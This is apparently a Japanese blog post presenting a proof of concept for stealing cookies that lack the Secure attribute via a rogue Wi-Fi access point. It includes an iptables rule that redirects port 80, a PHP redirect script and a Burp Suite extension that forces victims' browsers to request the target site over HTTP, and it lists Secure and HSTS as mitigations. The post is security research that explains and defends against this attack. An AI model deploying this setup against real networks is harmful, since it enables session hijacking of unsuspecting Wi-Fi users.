0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

偽アクセスポイント接続+Secure属性不備による、Cookie取得のPoCを作ってみた

Posted at

CookieにSecure属性が付与されないサイトに対し、
被害者が偽アクセスポイントに接続することでMITMが成立すれば
任意のサイトへのHTTPリクエスト(GET)が送信される際に対象サイトのCookieを取得できる
というPoCを作ったので、覚え書きします。

フリーWi-Fiを使ったら秘密情報を抜かれる経路にはどのようなものがあるか
における、「CookieのSecure属性欠落」の項目に該当します。

概要

  1. 偽アクセスポイント: TCP80番(HTTP)を偽サーバーへ転送する。
  2. 偽サーバー: 任意のHTTPリクエスト(GET)に対し、対象サイトへリダイレクトするレスポンスを返す。
  3. 偽サーバー: 対象サイトへのリクエストに対し、元のサイトへリダイレクトするレスポンスを返す。(ここでCookie取得)
  4. 偽サーバー: 元のサイトへのリクエストに対し、透過する。(偽装用)

構成

被害者PC---偽アクセスポイント---インターネット
            |
    (80番ポート)|
            |
          偽サーバー---インターネット

用意するもの

  • PC_A1:
    偽アクセスポイント ホットスポット・ルーティング
  • PC_A2:
    偽サーバー HTTP通信内容の確認・改竄
  • PC_V1:
    被害者

準備

PC_A1

アクセスポイントを用意する。簡易のためUbuntu のWi-Fi Hotspot を使用。
TCP80番(HTTP)を偽サーバーへ転送する。

ルーティング設定例

sudo iptables -t nat -i wlp4s0 -A PREROUTING -p tcp -s 10.42.0.0/24 --dport 80 -j DNAT --to-destination 192.168.1.14

192.168.1.14 は、PC_A2のip

PC_A2

改竄を行いレスポンスを返すため用意したもの。

  • レスポンス用のローカルサーバー

    パラメータに指定したURLにリダイレクトするレスポンスを返す

  • Burp Extender

    1. 任意のHTTPリクエスト(GET)に対し、ローカルサーバーからレスポンスを返す。(対象サイトへリダイレクト)
    2. 対象サイトへのリクエストに対し、ローカルサーバーからレスポンスを返す。(元のサイトへリダイレクト)
    3. 1の条件を満たしたURLが2度目来たら透過する。(何もしない)

BurpSuite にてPort 80 のInvisible Proxy でListen。

実証

対象サイト: www.example.com

  1. 偽アクセスポイントに接続する
  2. 対象サイトにてCookie をセットする
  3. HTTPリクエストが飛ぶまでブラウジングする
  4. HTTP history にてリクエストを確認する

example.png

対策

  • Secure属性の付与
  • HSTSの設定(緩和策)

感想

作った後にhtmlのレスポンスボディにimgタグを追加するという方法もあるのを読んだ。
作るの楽だしそれでよかったなぁ。
こちらの方が対応範囲が広い点はいいかもしれない。

HTTP通信を求めて適当にブラウジングしたとき、予想より見つからなくてよいなと思った。
(画像ではexample.com->www.example.comのものにしたけれど)

コード

nonSecurePoC.php

<?php
$url="http://localhost/";
if(isset($_GET["url"])){
    $url=$_GET["url"];
}
$url=htmlspecialchars($url,ENT_QUOTES);
header("Location: ".$url);
header('Cache-Control: no-store');
// exit();
?><HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved <A HREF="<?php echo($url);?>">here</A>.</BODY></HTML>

nonSecurePoCExtender.py

# coding: utf-8
from burp import IBurpExtender
from burp import IHttpListener
from java.io import PrintWriter
from java.net import URL

Mock_Protocol = "http"
Mock_Host = "localhost"
Mock_Port = 8880
Mock_Path = "nonSecurePoC.php"
Mock_Url=Mock_Protocol+"://"+Mock_Host+":"+str(Mock_Port)+"/"+Mock_Path


TARGET_Protocol = "http"
TARGET_Host = "www.example.com"
TARGET_Port = 80
TARGET_Path = ""
TARGET_Url=TARGET_Protocol+"://"+TARGET_Host+":"+str(TARGET_Port)+"/"+TARGET_Path


class BurpExtender(IBurpExtender, IHttpListener):
    def __init__(self):
        self.accessUrls=[]
    #
    # implement IBurpExtender
    #
    def	registerExtenderCallbacks(self, callbacks):
        # obtain an extension helpers object
        self.helpers = callbacks.getHelpers()
        self.stdout = PrintWriter(callbacks.getStdout(), True)

        # set our extension name
        callbacks.setExtensionName("nonSecurePoC")
        
        # register ourselves as an HTTP listener
        callbacks.registerHttpListener(self)

    #
    # implement IHttpListener
    #
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        httpService = messageInfo.getHttpService()

        if ("http" == httpService.getProtocol()):
        
            if messageIsRequest:
                requestInfo = self.helpers.analyzeRequest(httpService, messageInfo.getRequest())
                method = requestInfo.getMethod()
                url = requestInfo.getUrl().toString()
                params = requestInfo.getParameters()
                self.stdout.println(url)

                # HTTPのGETリクエストに対し処理
                if ("http" == httpService.getProtocol() and "GET"==method):
                    # 対象サイトへのリクエストの場合
                    if (TARGET_Host == httpService.getHost()):
                        flg=False
                        # 2. 1.によるリダイレクトで発生したものの場合(パラメータurlがある場合とした)
                        for param in params:
                            if "url"==param.getName():
                                url=param.getValue()      
                                flg=True 
                        if flg:                 
                            messageInfo.setHttpService(self.helpers.buildHttpService(Mock_Host,Mock_Port,Mock_Protocol))
                            messageInfo.setRequest(self.helpers.buildHttpRequest(URL(Mock_Url+"?url="+url)))
                    # 他サイトへのリクエストの場合
                    else:
                        # 3. リダイレクト済みの場合
                        if url in self.accessUrls:
                            self.accessUrls.remove(url)
                        # 1. 新規リクエストの場合
                        else:
                            self.accessUrls.append(url)
                            url2=TARGET_Url+"?url="+self.helpers.urlEncode(url)
                            messageInfo.setHttpService(self.helpers.buildHttpService(Mock_Host,Mock_Port,Mock_Protocol))
                            messageInfo.setRequest(self.helpers.buildHttpRequest(URL(Mock_Url+"?url="+self.helpers.urlEncode(url2))))
                self.stdout.println(self.accessUrls)

                return
            return
            
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?